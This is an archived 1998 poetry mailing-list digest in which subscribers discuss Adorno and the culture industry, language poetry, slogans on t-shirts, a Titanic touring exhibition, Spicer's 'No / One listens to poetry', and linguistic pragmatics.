> *On Thu, 8 Oct 1998 10:29:45 -0500 MAYHEW said:*
>
> *Culture industry means what we would call "entertainment*
>
> *industry"--popular music, hollywood, etc... I'm not sure Adorno was*

>>against "the institution of art" if we mean traditional "high"
culture, eg

> *"classical music," literature, paintings. In fact this rather elitist*
>
> *conception of art is exactly what Adorno privileges.*

I'm certain Adorno considered "high culutre" as a part of the culture industry, along with "popular music, hollywood, etc." I mean, it's all in how this stuff gets

used. Not that ART cannot exist in its own right, but that it is implicated in, and by, the society in which, and by which, it is created. What's important, I think, is not to think of, say, the Black Mountain poem, the language poem, as something superior, or in any way separate from, the culture industry. I mean, in an era of regurgitaion and transmutation, anything is possible. What's counterrevolutionary today is on a tee shirt tomorrow. That's just the way our society deals with transgressive ideas: it makes them safe for 'consumption,' intellectual or otherwise. But don't despair! Philosophy, linguistics, geography, politics, anthropology &etc &etc are all tools of the poet today. These diverse fields provide a richer view by which to weigh ideas of poetic impulse. But poetry that is overly conscious of a single element is often flat, void of the deeper substance (sorry this is so alchemical) that open worlds through poetry. I mean, that's what this is about to me, the opening and closing of worlds through language. It's not about the 'rightness' or 'wrongness' of our 'thoughts' or 'feelings' toward the 'poem,' but about our willingness to engage our own values with as much of our 'selves' open as can be allowed. Isn't that why we all think we 'know' something of the 'poem,' of our 'selves?' Regardless, my point is, we think in pieces, the unity and completion of the whole being somewhat removed from the varied impulses and regions of our senses.

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254. Fredrik Hertzberg

Re: Langpo & Lingprag

Thu 8 Oct 1998

At 12:27 PM 10/8/98 EDT, Aviva wrote:

> *of democratic culture, as I experience it. So....why not, in that case, just read a stone? or a tarot card? I haven't read Silliman's DEMO, so I don't*

Isn't that one important point though, in much lang po, that reading is/ becomes central, to counteract the specialization or undistracted absorption much more mainstream poetry invites? Isn't the lang po use of disjunction related to the idea in Barthes' (& others) that whatever can be read as text. Then maybe some lang po has the effect of showing how and in what way(s).

Fred Hertzberg

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255. david bromige
textuality on a t-shirt
Thu 8 Oct 1998

Life is brief

_____

It says here

__as the author of the above (which I do have on a t-shirt), I want to register my agreement with Dale Smith's point re complex ideas ending up on t-shirts. Just that (obviously) I don't see anything wrong with this. Those who would do missionary work ((¿ the feeling of being white ?)) need to adjust their language to their audience. The same bow can shoot arrows of different penetrative powers. My version of Rilke's fall-like poem posted days since was no joke or not only. In California, where nearly everyone comes from someplace else, of necessity an LCD argot is spoken. Any other kind of english laid upon poets of other places and other eras can quickly strike our ears as suspiciously manipulative. But Shakespeare's Sonnets still sound great. Go figure. David

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256. schuchat
Re: Younger Poets Issue 10
Thu 8 Oct 1998

Dale --
I'd like to order the latest issue of Younger Poets and also the new Hoa Hyugen book.

Current mailing address is:

Simon Schuchat
Apartment 803
1001 North Vermont Street
Arlington, VA 22201

The check will soon be in the mail -- $12, right?

Cheerios,

Simon

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257. schuchat
Re: grid shimmer + meat on the table
Thu 8 Oct 1998

I don't blame Blake for staining the clear water.
I generally approve of inversions.
I sit by a window dark.
I look through a window dark.
Eta moi okno, bely ili cherny.
Did Blake also stain his furniture?

↑ Index

258. Karen Kelley
Re: textuality on a t-shirt
Thu 8 Oct 1998

My favorite LCD motto is from Jenny Holzer:
"Protect me from what I want."

Sold a few year ago on a baseball cap at the Mary Boone gallery. I didn't buy one then & still regret it to this day.

david bromige wrote:

> *Life is brief*
>
> *_____*
>
> *It says here*
>
> *__as the author of the above (which I do have on a t-shirt), I want to register my agreement with Dale Smith's point re complex ideas ending up on t-shirts. Just that (obviously) I don't see anything wrong with this. Those who would do missionary work ((¿ the feeling of being white ?)) need to adjust their language to their audience. The same bow can shoot arrows of different penetrative powers. My version of Rilke's fall-like poem posted days since was no joke or not only. In California, where nearly everyone comes from someplace else, of necessity an LCD argot is spoken. Any other kind of english laid upon poets of other places and other eras can quickly strike our ears as suspiciously manipulative. But Shakespeare's Sonnets still sound great. Go figure. David*

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259. **Dale Smith**
missionary positions
Thu 8 Oct 1998

> *Life is brief*
>
> _____
>
> *It says here*

"FUCKED"

on my back. on a tee shirt, that is

_____
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260. **Dale Smith**
Re: Younger Poets Issue 10
Thu 8 Oct 1998

I included 5 pieces of Lezam Lima's from "The Fragments Drawn By Charm." (Roberto Tejada was kind enough to let me use his translations. I'm sure you've seen Mandorla, Tejada's journal. If not, let me know.) And, yeah, the Kyger interview involves live, living persons. I interviewed her in May of 97. I mean, Joanne's the real thing. I couldn't have written anything this generous, subtle and insightful. I've been working with her nearly a year on the edits, trying to narrow and focus. As for the Devil, well, I dragged him off some 16th century make-shift barge last seen floating in the gulf of mexico. The Karankawas called him "Badthing." I don't know how that got into this issue.

All the best,
Dale

>Is that the Devil we know or the Devil we don't know? Looks like a
great
>issue -- can you tell us which piece by Jose Lezama Lima has been
>translated? And, just so I'll know as I read it, did the interview in
this
>issue involve actually speaking with the interview subject?
>

_____
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261. **Peter Quartermain**

Re: Query: Robert Duncan on VOA

Thu 8 Oct 1998

"Towards an Open Universe" was broadcast in the VOA Forum Series "Contemporary American Poetry" on 23 October 1964, and then published in the VOA paperback (for overseas distribution only) in 1964 _Contemporary American Poetry_, edited by Howard Nemerov, under the imprint of "Voice of America Forum Lectures." There were 19 lectures by such as Marianne Moore, Jack Gilbert, and John Berryman as well as Nemerov hisself. For Bibliographic freaks, the essay occupies pp. 169-183; there is a photo of Duncan and a brief blurb on 168. This book is not listed in Bertholf's Bibliography of RD.

Poets were invited to "speak to" four questions: 1. Do you see your work as having essentially changed in style or character since you began? 2. Is there, or has there been, was there ever, a "revolution" in poetry, or is all that a matter of a few sleazy technical tricks? 3. Does the question whether the world has changed during this century preoccupy you in poetry? Does your work appear to you to envision the appearance of a new human nature, for better or worse, or does it view the many and obvious changes as exxentially technological? 4. What is the proper function of criticism? Is there a speciaes of it you admire (are able to get along with)?

Although according to Bertholf's Bibliography of Duncan the 30-minute tape is available "only at the offices of the United States Information Agency" (presumably on request, in any country where such an office is maintained), a note at the beginning of the VOA book says "Permission is herewith granted to rebroadcast and reprint it outside the continental limits of the United States."

[Any takers, among all you folk outside the US of A?]

The US trade edition of this book, _Poets on Poetry_ (NY Basic Books, 1966) necessarily lacks that note.

At the back of the book is an address to send enquiries to: Forum Editor, Voice of America, USIS, Washington 25, D.C., United States of America. I have no idea how good THAT is anymore.

PAQ

At 11:50 AM 10/7/98 +0200, Robert Archambeau wrote:
>Okay, here's an obscure question for you.
>

>In was quite surprised to find out that Robert Duncan's essay "Towards
>and Open Universe" was read by Duncan over the air, broadcast by the
>Voice of America. Does anyone know whether there is a recording of this
>broadcast? If so, where can I find it?
>

+ + + +

``Star Trek World Tour'' -- also created in conjunction with SEE -- in December in Dusseldorf, Germany. Details on that show, however, remain sketchy.

Though no budgets were given, both events are clearly massive investments. In the case of the ``Titanic'' show, it will spend one month in London, with admission at about $20, before moving on to Amsterdam, Paris, Dusseldorf and Milan. In total, 20 cities are scheduled.

``Titanic'' producer Jon Landau, on hand for the press launch of the show in London, told Daily Variety that he expected more and more films would be re-marketed this way in the future. ``It will make people feel like they're part of making the movie,'' Landau said. ``People can complete their emotional journey.''

Landau added that ``Titanic,'' with a global box office of more than $1.8 billion, was ``still on sturdy legs'' and that, besides the video release, its potential could be pushed in even more ways, such as alternative edits, perhaps even a version that emphasizes historical accuracy over romance.

When Landau and Goldsmith were queried as to the wisdom of launching such an enterprise given present global economic conditions, both expressed the view that entertainment traditionally fares reasonably well during a recession.

Reuters/Variety

^REUTERS@

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263. Edward Fristrom

Re: the sense of being white

Thu 8 Oct 1998

Dale Smith wrote:

> *What's counterrevolutionary today is on a tee shirt tomorrow.*

Absolutely. Derrida can be picked up by advertising campaigns, and William Burrough's can sell shoes. But the thing which I took from Adorno. . .(and its the only thing which has glommed to my memory) is the image of Odysseus in "The Dialectic of Enlightenment" co-written with Horkheimer. I come across this passage quoted a lot, for a variety of different purposes, or more to the point: I quote it a lot, for a variety of different purposes, some or all of which may not have anything to do with the authors original intents.

"[Odysseus] knows only two possible ways to escape. One of them he prescribes for his men. He plugs their ears with wax, and they must row with all their strength. Whoever would survive must not hear the temptation of that which is unrepeatable, and he is able to survive only by being unable to hear it. Society has always made provision for that. The laborers must be fresh and concentrate as they look ahead, and must ignore whatever lies to one side. . . . The other possibility Oddysseus, the seigneur who allows the others to labor for themselves, reserves to himself. He listens, but while bound impotentently to the mast; the greater the temptation the more he has his bonds tightened." -- H & A

Reading this into poetry, it would seem to suggest: Hey, do whatever the f*** you want. Be experimental. Be crude. Reader's digest may get uptight, but a university will hire you; the NEA will give you grants; well dressed men and women will ask why you have to say the word "f***" so often, but they'll still attend your readings. You just have to make sure that "aesthetic" is separated from "political;" interesting "ideas" are separated from "actions," and that "theory" is separated from "practice." Be philosophical, strange, even--God help us--intelligent, but tether yourself to the mast.

Of course. . . the trajectories of the great pinball game can't really be contained or described adequately by this or any other theory (or poem). Some renegade reactionaries may lynch you, even if you style yourself as the most mild-mannered academic. Even so. . .T&H gives another way of looking at why it is that "establishment" ("They," by which of course I mean "Them") still cuddles up to poets and other heretics from time to time.

My 2 cents.

--Ted

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264. **Mark Weiss**

Re: f.y.i. (news from the free world)

Thu 8 Oct 1998

Two ways these guys missed the boat, so to speak. 1. The show should include a full-size submersible replica of the original ship, so that customers could vicariously experience the thrill if drowning. 2. There should be franchised therapists on hand, to help those who have difficulty "complet[ing] their emotional journey."

At 05:31 PM 10/8/98 -0400, you wrote:
>Next for Titanic: a touring theme park
>

>
> By Erich Boehm
> LONDON (Variety) - The biggest film of all time is about to
>get bigger with the launch of ``Titanic: The Official Movie
>Tour,'' a theme-park style movable event based on James
>Cameron's blockbuster.
> Twentieth Century Fox has set up the extravaganza, to debut
>at London's Wembley Exhibition Hall on Dec. 15 and proceed city
>by city around the world for five years, to allow people to
>``participate'' in ``Titanic.''
> The public will be able to visit parts of the movie's set,
>interact with the picture through multimedia exhibits, learn how
>the f/x were done or even enjoy a meal in the ship's dining
>hall. Merchandise will be peddled in an area resembling an
>Edwardian high street.
> The show is billed as the first of its kind. Fox is
>partnered in the project with the L.A.-based company Special
>Entertainment Events (SEE). Also on board are Cameron's
>Lightstorm Entertainment, British promoter Harvey Goldsmith and
>the German convention organizer Messe Duesseldorf.
> Meanwhile, not to be outdone, Paramount is debuting its
>``Star Trek World Tour'' -- also created in conjunction with SEE
>-- in December in Dusseldorf, Germany. Details on that show,
>however, remain sketchy.
> Though no budgets were given, both events are clearly
>massive investments. In the case of the ``Titanic'' show, it
>will spend one month in London, with admission at about $20,
>before moving on to Amsterdam, Paris, Dusseldorf and Milan. In
>total, 20 cities are scheduled.
> ``Titanic'' producer Jon Landau, on hand for the press
>launch of the show in London, told Daily Variety that he
>expected more and more films would be re-marketed this way in
>the future. ``It will make people feel like they're part of
>making the movie,'' Landau said. ``People can complete their
>emotional journey.''
> Landau added that ``Titanic,'' with a global box office of
>more than $1.8 billion, was ``still on sturdy legs'' and that,
>besides the video release, its potential could be pushed in even
>more ways, such as alternative edits, perhaps even a version
>that emphasizes historical accuracy over romance.
> When Landau and Goldsmith were queried as to the wisdom of
>launching such an enterprise given present global economic

>conditions, both expressed the view that entertainment
>traditionally fares reasonably well during a recession.
> Reuters/Variety
> ^REUTERS@>
>

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265. **Thomas Bell**

Re: the sense of being white

Thu 8 Oct 1998

Dale Smith wrote:
>
 That's just the
> way our society deals with transgressive ideas: it makes them safe for
> 'consumption,' intellectual or otherwise. But don't despair! Philosophy,
> linguistics, geography, politics, anthropology &etc &etc are all tools
> of the poet today. These diverse fields provide a richer view by which
> to weigh ideas of poetic impulse. But poetry that is overly conscious of
> a single element is often flat, void of the deeper substance (sorry this
> is so alchemical) that open worlds through poetry. I mean, that's what
> this is about to me, the opening and closing of worlds through language.
> It's not about the 'rightness' or 'wrongness' of our 'thoughts' or
> 'feelings' toward the 'poem,' but about our willingness to engage our
> own values with as much of our 'selves' open as can be allowed. Isn't
> that why we all think we 'know' something of the 'poem,' of our
> 'selves?' Regardless, my point is, we think in pieces, the unity and
> completion of the whole being somewhat removed from the varied impulses
> and regions of our senses.

This seems to be a worthwhile direction to pursue. It moves us beyond the simple experimental/non-experimental dis cussions that go on and on and on top of the stove when I last saw it. Do you have an example of a poem or form that "hooks" the reader in and then engages in opening or closing worlds? I am aware that I tend to be somewhat (or very!) opaque without really intending to be.

tom bell

--
<><><>

http://members.tripod.com/~trbell/Waysout.htm
http://members.tripod.com/~trbell/petals/petals.htm
http://members.home.net/trbell/motheran.htm
http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

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266. **Duane Davis**
Re: the sense of being white
Thu 8 Oct 1998

Adorno was capable of great arrogance in his pronouncements on art... tho the sense of provocation is often so great that the reader can not help but feel that he is over hearing an argument between Adorno and his demons:

"In actuality, much more effort is required to listen adequately to a piece by Beethoven, whose themes the average man in the street (!) might whistle to himself , than to a piece of the most advanced music..."

"There is a temptation to regard the most educated listeners as the worst: those who promptly react to Schoenberg with 'I do not understand'--an utterance whose modesty masks anger as expertise."

"The all-powerful culture industry appropriates the enlightening principle and, in its relationship with human beings, defaces it for the benefit of prevailing obscurity. Art vehemently opposes this tendency; it offers an ever-sharper contrast to such false clarity. The configurations of that deposed obscurity are held up in opposition to the prevailing neon-light style of the times. Art is able to aid enlightenment only by relating the clarity of the world consciously to its own darkness."

He is, sometimes, close to the hysteria he describes so well: "What radical music perceives is the untransfigured suffering of man... The seismographic registration of traumatic shock becomes, at the same time, the technical structural law of music. It forbids continuity and development. Musical language is polarized according to its extremes: towards gestures of shock resembling bodily convulsions on the one hand, and on the other towards a crystalline standstill of a human being whom anxiety causes to freeze in her tracks."

"Through hostility towards art, the work of art approaches knowledge... Its cognitive character becomes radical in that moment in which art is no longer content with the role of perception. This is the threshold of modern art, which grasps its own contradictions with such depth that they can no longer be arbitrated. Modern art infuses the concept of form with such tension that the aesthetic product is forced to confess its insolvency before it. Modern art permits

the contradiction to remain, revealing the original foundation of its categories of judgment--that is, of form. It discards the dignity of the judge and descends to the level of the plaintiff, the only position for which reality provides a conciliation."

The relentlessly dialectical nature of his thought seldom allows the reader to draw a "conclusion" -- we draw and draw and draw and seem no closer to understanding. This is a great deal of the fun of reading Adorno: that he wanted us to understand so clearly that any time we believe we understand, we have failed to be rigorous enough in our thinking...

Duane Davis

All quotes from Adorno's Philosophy of Modern Music
-----Original Message-----
From: Thomas Bell <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, October 08, 1998 7:00 PM
Subject: Re: the sense of being white

> *Dale Smith wrote:*
>
> *That's just the*
> *way our society deals with transgressive ideas: it makes them safe for*
> *'consumption,' intellectual or otherwise. But don't despair! Philosophy,*
> *linguistics, geography, politics, anthropology &etc &etc are all tools*
> *of the poet today. These diverse fields provide a richer view by which*
> *to weigh ideas of poetic impulse. But poetry that is overly conscious of*
> *a single element is often flat, void of the deeper substance (sorry this*
> *is so alchemical) that open worlds through poetry. I mean, that's what*
> *this is about to me, the opening and closing of worlds through language.*
> *It's not about the 'rightness' or 'wrongness' of our 'thoughts' or*
> *'feelings' toward the 'poem,' but about our willingness to engage our*
> *own values with as much of our 'selves' open as can be allowed. Isn't*
> *that why we all think we 'know' something of the 'poem,' of our*
> *'selves?' Regardless, my point is, we think in pieces, the unity and*
> *completion of the whole being somewhat removed from the varied impulses*
> *and regions of our senses.*
>
> *This seems to be a worthwhile direction to pursue. It moves us beyond*
> *the*
> *simple experimental/non-experimental dis cussions that go on and on and*
> *on*
> *top of the stove when I last saw it. Do you have an example of a poem*
> *or*
> *form that "hooks" the reader in and then engages in opening or closing*
> *worlds? I am aware that I tend to be somewhat (or very!) opaque without*
> *really intending to be.*

> *tom bell*
>
> --
> <><><>

Hello! Yow! Yes, there's the note. When I stop in at my friendly neighborhood USIA office up in Stockholm to ask about the recording, I'll make inquiries about how valid that claim is in 1998. There's no expiration date mentioned, but it seems a bit too good to be true. Will let you know.

Bob

Robert Archambeau
Engelska Institutionen
Lund University, Sweden

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268. R. Gancie/C.Parcelli
Adorno & Jazz
Fri 9 Oct 1998

Many of the discussions on the list that involve Adorno mention as asides his 'revolting' position vis a vis jazz. As an enthusiast of the Adorno of Negative Dialectics, Against Epistemology and Dialectic of Enlightenment which he wrote with Horkheimer, I too have found Adorno's position vis a vis jazz, critically suspect but not incomprehensible.

Certainly, there is some truth to Adorno's critique of Stravinsky's "Le Sacre du printemps" in that the composer wants the music to sound like music from the "beginning of time", an obvious conceit. This kind of hegemony occurs again in Stravinsky's works that incorporate what Stravinsky interprets as jazz elements and as with Le Sacre one feels a kind of bourgeois appropriation on the part of the composer. The result is watered down primitivism even as the effect was at one time shocking and novel and now, for the non-primitive like myself, intensely pleasurable.

On the other hand Schoenberg's twelve-tone technique is a revolt against a programmatic romanticism accreting in harmonic excess. Whatever the result (and I listen with enjoyment and often passion to all of the above music) Schoenberg, Berg and Webern, in Adorno's mind, revolted against the same sensibility that Stravinsky was exploiting albeit in anew way.

But what jazz was Adorno attacking? I haven't done much of the legwork but it appears that Adorno's position toward jazz was cemented well before the advent of bebop when jazz was perhaps the preeminent form of popular music and was represented by many adulterated and highly commercialized forms bowdlerized by the recording industry which Adorno despised. This alone would have set a purist like Adorno off. Adorno was seeking a 'high art' musical form that

would be embraced by the masses. Of course, Benjamin was right when he told Adorno that would never happen.

But jazz itself with the advent of bebop began an aesthetically and politically self-induced process of marginalization and isolation that I as a young man saw as dove-tailing with twelve tone, serial and aleatoric music. I even wrote a long poem comparing the artistic and political revolutionary aspects of these forms of jazz and classical music called 'House Party Startin' named after a tune by the jazz pianist-composer, Herbie Nichols.

One then wonders if Adorno in his intellectual pique was able to discern jazz from the consumer culture that used it when there was a dollar to be made and abused it when it could no longer fill the big ballrooms? Even his main bugaboo, a steady beat based on syncopation doesn't nearly always apply. Even if he didn't wait for Monk or Bud Powell, Bill Evans or Cecil Taylor he could have found copious exceptions in the music of Art Tatum and even the Count Basie.

But even Lazarsfeld generous criticisms could not convince Adorno to bring a more 'empirical' and less polemical element to his constructs especially when they predicted seriality in every home. This ironically gives Adorno's work its great value for in that learned obstinance comes the clear exposition of extremes in a culture of consumption designed to advertise some fictional norm. Scoenberg's appeal to Adorno was as a revolutionary. Too bad he couldn't see it in Charlie Parker, Archie Shepp, Ornette Coleman and Miles Davis. (By the time of the latter fellows Adorno had returned to Europe but over there jazz was getting more respect than here and that should have told Teddy something.)

So to answer my own question, Adorno would have probably produced a tortured intellectual construct that would allow a stubborn consistency to prevail in his critique even while he considered the social and aesthetic dovetailing that has occurred between jazz and classical music exemplified in say Anthony Braxton and Iannis Xenakis. I can remember reading Cage's Silence in Rudd Fleming's modern poetry class at the University of Maryland 30 years ago and then going home and popping on Coltrane's Ascension and thinking these cats are onto something that somehow expresses a marvelous continuity.---Carlo Parcelli

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269. **Lawrence Upton.**

Re: down the bottle

Fri 9 Oct 1998

From: Gary Paul Sullivan <[redacted]>
Date: 08 October 1998 17:16
Subject: Re: down the bottle

|the oft-quoted Spicer poem in question ends
|
|... no
|One listens to poetry.
|
|I take the line break to be a hesitation (reconsideration), ending with
|the positive "One listens to poetry" so that you get
|
|No, one listens to poetry.

Yes *and surely "more than one" - in listening to poetry as in writing it we do it with more than one version of ourselves, we become more whole, whereas when, as I am about to, we go to the bakers, we show our going-to-the-baker persona and so on

This line was taken by Gilbert Adair as the title for the SVP colloquium he organised in London in 91 - so the line got quite a lot of thought and those two different but complementary readings, along with the noted hesitation, are what I retain

L _____ Lawrence Upton's website: http://members.spree.com/sip/lizard/ |

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270. Roger Day
Re: down the bottle
Fri 9 Oct 1998

At 09/10/98 11:24:04, "Lawrence Upton." <[redacted]> wrote:
From: Gary Paul Sullivan <[redacted]>
Date: 08 October 1998 17:16
Subject: Re: down the bottle
#
#
|the oft-quoted Spicer poem in question ends
|
|... no
|One listens to poetry.
|
|I take the line break to be a hesitation (reconsideration), ending with
|the positive "One listens to poetry" so that you get
|
|No, one listens to poetry.

If you emphasize the "no" and the "poetry", you get a completely different sense, as in a derogatory one. Just a thought.

I notice that Majorie Perloff prescribes hesitations to denote line-endings in her essay about vers libre; why not a mixture of emphasis and hesitation?

What's the difference between a hesitation on the line-break, and a emphasis on the last word before the line-break?

How does a pause to denote line-endings differentiate from a pause denoted by a comma in the middle of a line?

#
#
Yes *and surely "more than one" - in listening to poetry as in writing it we
do it with more than one version of ourselves, we become more whole, whereas
when, as I am about to, we go to the bakers, we show our going-to-the-baker
persona and so on
#
This line was taken by Gilbert Adair as the title for the SVP colloquium he
organised in London in 91 - so the line got quite a lot of thought and those
two different but complementary readings, along with the noted hesitation,
are what I retain

Roger

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271. Ron Silliman
Pragmatics
Fri 9 Oct 1998

Roger Farr's students have my sympathy.

Isn't pragmatics in linguistics as different from pragmatics in philosophy as objectivism in poetry is from objectivism in political philosophy (or whatever it is you would consider Ms. Rand's theoretical genre to have been)?

Ron

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272. Michael Magee
Re: Pragmatics
Fri 9 Oct 1998

I was under the impression that liguistic pragmatics and philsophical pragmatism were related along the "how to do things with words" axis - i.e. by their belief in a rhetorical theory of form. -m.

According to Ron
Silliman: >
> Roger Farr's students have my sympathy.
>
> Isn't pragmatics in linguistics as different from pragmatics in philosophy
> as objectivism in poetry is from objectivism in political philosophy (or
> whatever it is you would consider Ms. Rand's theoretical genre to have
> been)?
>
> Ron
>

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273. Gary Paul Sullivan
listening
Fri 9 Oct 1998

The poem, in full, reads:

This ocean, humiliating in its disguises
Tougher than anything.
No one listens to poetry. The ocean
Does not mean to be listened to. A drop
Or crash of water. It means
Nothing.
It
Is bread and butter
Pepper and salt. The death
That young men hope for. Aimlessly
It pounds the shore. White and aimless signals. No
One listens to poetry.

The central image here being "This ocean," liquid, thing
later claimed "not mean[t] to be listened to." Which
is not to say not listened to. I'm curious why
"This ocean" is the first image we get in a book called

"Language" & in a section/poem called "Thing Language."
Is "this ocean" language, or is language seen as somehow like
an ocean? & therefore fluid? &, if fluid, not rigid
in its limits (what we might read as "meanings")?

I think this poem itself "Aimlessly/ ... pounds the shore."
Meaning, pounds itself against something less liquid
than itself. Fizzling out against it. If we emphasize the
last word in the penultimate line, NO
it may be a repeat of the line previously given w/out
punctuation or linebreak. But, why? I think there's an
intentional ambiguity here. We emphasize first words in
a line, too: No
ONE listens to poetry. He's broken the line here I think
to suggest a reading alternative to the anthemic quip
most readers come away with. I think he's after more than
anthem, especially in a poem that claims "not mean[t] to be
listened to." An anthem means to be listened to. And in
a very unambiguous way.

I don't think this poem is a cop out. I think the reduction
of this poem to an anthem might be. But at least is a
shallow or cursory reading of it.

I feel like addressing Anselm's "I'd say there's a lot of
poets who like to see others see them noticing that
looking right can be a trick & thereby trying to look wrong
& by extension right." Or at least asking him what he
means. Who are these poets for whom being looked at is
primary? And how was the conclusion that this is "the case"
reached? Are those questioning cultural (including
aesthetic) "givens" preening? Merely?

These aren't rhetorical questions. Thanks.

Gary

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274. **MAYHEW**
Re: Pragmatics
Fri 9 Oct 1998

Yes, and doesn't poetics potentially bring philosophy and linguistics together,
concerned as it is both with the immediate pragmatic use of words and the
larger issues involved? Just as semantics in the narrow way defined in

linguistics and semantics as concern in philosophy of language are separate--beloning to separate academic disciplines--but we should be intellectuals, which means not isolating problems in a narrow way. The linguistics professor should know enough at least to explain the differences + potential areas of convergent interest.

On Fri, 9 Oct 1998, Michael Magee wrote:

> *I was under the impression that liguistic pragmatics and philsophical pragmatism were related along the "how to do things with words" axis - i.e. by their belief in a rhetorical theory of form. -m.*
>
> *According to Ron Silliman: >*
> *Roger Farr's students have my sympathy.*
>
> *Isn't pragmatics in linguistics as different from pragmatics in philosophy as objectivism in poetry is from objectivism in political philosophy (or whatever it is you would consider Ms. Rand's theoretical genre to have been)?*
>
> *Ron*

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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275. David Zauhar
Re: Pragmatics
Fri 9 Oct 1998

Thanks to Jonathan Mayhew for making a start toward the definition of pragmatics as understood by linguists. But could someone please clarify this for us? Maybe the original poster, or someone else w/ a linguistics background? Or could someone call down the ghost of Jack Spicer to impart his professional knowledge on this topic. I'm wondering, because I suspect that if it is like most subfields in linguistics, its practitioners are probably is more comfortable working with conventional, conversational sentences, in which the context is determined w/ relative ease. Consequently, while poetic discourse would seem to open up new research areas, it would also probably create difficulties beyond

the capacities of the current paradigms. Though I could be way wrong about this.

David Zauhar
University of Illinois at Chicago

↑ Index

276. David Zauhar
Re: Pragmatics
Fri 9 Oct 1998

On Fri, 9 Oct 1998 [redacted] wrote:

> *David,*
>
> *I am most familiar with the area of linguistic pragmatics called deixis, which could be crudely defined as that class of words and phrases that orients discourse in terms of a speaker and/or audience. I tend to think of it as also indicating some kind of spatial or temporal relationship among them. Deixis is often described as a "pointing" mechanism, as when we use deictic adjectives such as "this" or "that," or "here" or "there" or "now" when used as adverbs or adjectives. Also phrases like "beside" or "next to" or "in front of" are deictic in that their user assumes a place in terms of which the utterance they occur makes relative sense.*
>
> *But there's more to lingusitic pragmatics than deixis.*
>
> *Gary R.*

Thanks. That's helpful. I remember several years back reading a guy's MA thesis on deixis. I knew that "deictic" words were words w/ shifting referents like "this" or "that," but man, I was completely unprepared for the complexity that the pros have to get into. I wonder if anyone's ever written on deixis and ashbery -- seems to be central to his work... Just rambling. Seriously, thinks for the clarification: this helps.

David Zauhar
University of Illinois at Chicago

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277. **John Latta**
Re: Pragmatics
Fri 9 Oct 1998

Thought I'd throw the following into the brew. This is included in a short sketch of the work of Charles Morris, author of _Foundations of the Theory of Signs_ (1938), put together by Eugene Halton. The URL is found below.

"Pragmatics, a basic field of linguistics
today, originally had its roots in Morris's idea of a division of signs
concerned with "the relations of signs to their
interpreters" or users. Practically, this distinction seemed
to legitimate the place of social context for language study,
which was a crucial feature of both John Dewey and
Ludwig Wittgenstein's philosophies at that time, as well as
of the work of Sapir, Malinowski, and others. Yet Morris's
behaviorism unsemeiotically assumed that "users" of signs
are not also themselves signs. Similarly, he assumed the
logical empiricist "myth of the given" in viewing objects of
signs--designata or denotata--as not themselves signs, but
as "things" to be denoted by semantic reference. Hence
what is called "pragmatics" is not only theoretically
antipragmatic, but also illogical for the same reasons that
Peirce showed in his critiques of immediate, dyadic
knowledge. The lack of theoretical soundness in Morris's
concept of "pragmatics," however, has not to date had an
impact on its normalization in linguistics and related fields
which employ the term."

http://www.nd.edu/~ehalton/Morrisbio.htm

John Latta

On Fri, 9 Oct 1998 Gary Roberts wrote:

> *David,*
>
> *I am most familiar with the area of linguistic pragmatics called deixis, which could be crudely defined as that class of words and phrases that orients discourse in terms of a speaker and/or audience. I tend to think of it as also indicating some kind of spatial or temporal relationship among them. Deixis is often described as a "pointing" mechanism, as when we use deictic adjectives such as "this" or "that," or "here" or "there" or "now" when used as adverbs or adjectives. Also phrases like "beside" or "next to" or "in front of" are deictic in that their user assumes a place in terms of which the utterance they occur makes relative sense.*

> *But there's more to lingusitic pragmatics than deixis.*
>
> *Gary R.*

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278. **groberts**
Re: Pragmatics
Fri 9 Oct 1998

David,

I am most familiar with the area of linguistic pragmatics called deixis, which could be crudely defined as that class of words and phrases that orients discourse in terms of a speaker and/or audience. I tend to think of it as also indicating some kind of spatial or temporal relationship among them. Deixis is often described as a "pointing" mechanism, as when we use deictic adjectives such as "this" or "that," or "here" or "there" or "now" when used as adverbs or adjectives. Also phrases like "beside" or "next to" or "in front of" are deictic in that their user assumes a place in terms of which the utterance they occur makes relative sense.

But there's more to lingusitic pragmatics than deixis.

Gary R.

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279. **Aviva Vogel**
Re: down the bottle
Fri 9 Oct 1998

In a message dated 10/9/98 6:57:44 AM Eastern Daylight Time, [redacted] writes:

<<
What's the difference between a hesitation on the line-break, and a
emphasis on the last word before the line-break?
>>

"Hesitation on the linebreak" is simply a subcategory of "emphasis on the last word before the linebreak." There all all kinds of emphases (with all kinds of agendas) that are possible. Hesitation is one of them.

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280. **Mark Baker**
Re: listening
Fri 9 Oct 1998

Gary Sullivan, tell me, if you know,
what you make of how Spicer's lines revise
Stevens':

The water never formed to mind or voice,
Like a body wholly body, fluttering
Its empty sleeves; and yet its mimic motion
Made constant cry, caused constantly a cry,
That was not ours, although we understood,
Inhuman, of the veritable ocean.

If Spicer's linebreak at "No/One listens to poetry" allows you, ambiguously, to understand the last line as a direction, or perhaps radio signal, to listen, then the "No" also becomes "Know": No (linebreak)-- Know (this). But even then, the next line doesn't emphasize "One" (unless you mean entirely as a matter of print, in which case someone's not listening); break the line wherever you like, the stresses always fall on "no" and "listens."

Mark Baker

> *The poem, in full, reads:*
>
> *This ocean, humiliating in its disguises*
> *Tougher than anything.*
> *No one listens to poetry. The ocean*
> *Does not mean to be listened to. A drop*
> *Or crash of water. It means*
> *Nothing.*
> *It*
> *Is bread and butter*
> *Pepper and salt. The death*
> *That young men hope for. Aimlessly*
> *It pounds the shore. White and aimless signals. No*
> *One listens to poetry.*
>
> *The central image here being "This ocean," liquid, thing*
> *later claimed "not mean[t] to be listened to." Which*
> *is not to say not listened to. I'm curious why*
> *"This ocean" is the first image we get in a book called*
> *"Language" & in a section/poem called "Thing Language."*
> *Is "this ocean" language, or is language seen as somehow like*

> *an ocean? & therefore fluid? &, if fluid, not rigid*
> *in its limits (what we might read as "meanings")?*
>
> *I think this poem itself "Aimlessly/ ... pounds the shore."*
> *Meaning, pounds itself against something less liquid*
> *than itself. Fizzling out against it. If we emphasize the*
> *last word in the penultimate line, NO*
> *it may be a repeat of the line previously given w/out*
> *punctuation or linebreak. But, why? I think there's an*
> *intentional ambiguity here. We emphasize first words in*
> *a line, too: No*
> *ONE listens to poetry. He's broken the line here I think*
> *to suggest a reading alternative to the anthemic quip*
> *most readers come away with. I think he's after more than*
> *anthem, especially in a poem that claims "not mean[t] to be*
> *listened to." An anthem means to be listened to. And in*
> *a very unambiguous way.*
>
